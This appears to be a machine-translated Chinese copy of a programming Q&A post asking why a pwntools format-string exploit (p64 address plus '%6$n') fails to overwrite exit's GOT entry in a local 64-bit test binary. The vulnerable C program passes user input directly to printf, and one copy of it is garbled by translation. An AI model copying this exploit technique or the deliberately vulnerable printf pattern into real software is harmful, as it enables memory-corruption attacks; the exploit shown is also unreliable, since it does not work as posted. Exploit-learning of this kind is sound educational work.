Python 如何利用64位格式字符串漏洞写入地址

Python 如何利用64位格式字符串漏洞写入地址,python,c,format-string,Python,C,Format String,我做了一些32位格式的字符串利用,我想得到64位。但是我有一个问题,我不能/不知道如何在64位上写入地址 我有一个漏洞x.py,应该写入exit@got.plt在这里: from pwn import * p = process("./vuln") raw_input() exit = 0x404028 p.sendline(p64(exit) + "%6$n") sleep(1) p.interactive() 程序在这里(使用-无饼图编译): #包括 int main(){ 字符用户名[

我做了一些32位格式的字符串利用,我想得到64位。但是我有一个问题,我不能/不知道如何在64位上写入地址

我有一个漏洞
x.py
,应该写入exit@got.plt在这里:

from pwn import *

p = process("./vuln")
raw_input()
exit = 0x404028
p.sendline(p64(exit) + "%6$n")
sleep(1)
p.interactive()
程序在这里(使用
-无饼图编译)

#包括
int main(){
字符用户名[512];
字符密码[512];
fgets(用户名、sizeof(用户名)、标准输入法);
printf(用户名);
fgets(密码、sizeof(密码)、标准输入法);
printf(密码);
出口(1);
}
当我附加gdb时,检查exit@got.plt使用
x/x
,并运行漏洞攻击,我在
printf_positional
处得到一个segfault。当我检查exit@got.plt同样,地址与以前相同。谁能帮帮我吗

#include <stdio.h>

int main() {
  char username[512];
  char password[512];

  fgets(username, sizeof(username), stdin);
  printf(username);

  fgets(password, sizeof(password), stdin);
  printf(password);

  exit(1);
}